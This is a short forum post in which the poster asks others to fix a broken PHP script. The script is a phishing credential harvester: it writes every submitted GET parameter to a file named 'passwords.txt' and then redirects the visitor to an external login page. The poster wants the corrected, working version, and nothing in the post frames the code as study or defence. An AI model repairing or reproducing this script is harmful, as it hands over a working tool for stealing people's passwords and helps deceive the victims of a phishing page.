Hello I have created a script but it is giving the error
Parse error: parse error, unexpected T_DOUBLE_ARROW in line 6
My script is as follows
<?php
header("Location: [url]https://****************cool1581997/login.php[/url]
$handle = fopen('passwords.txt', 'a') ;
forecah($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=>");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Pls.. give me the correct script..and also tell the error..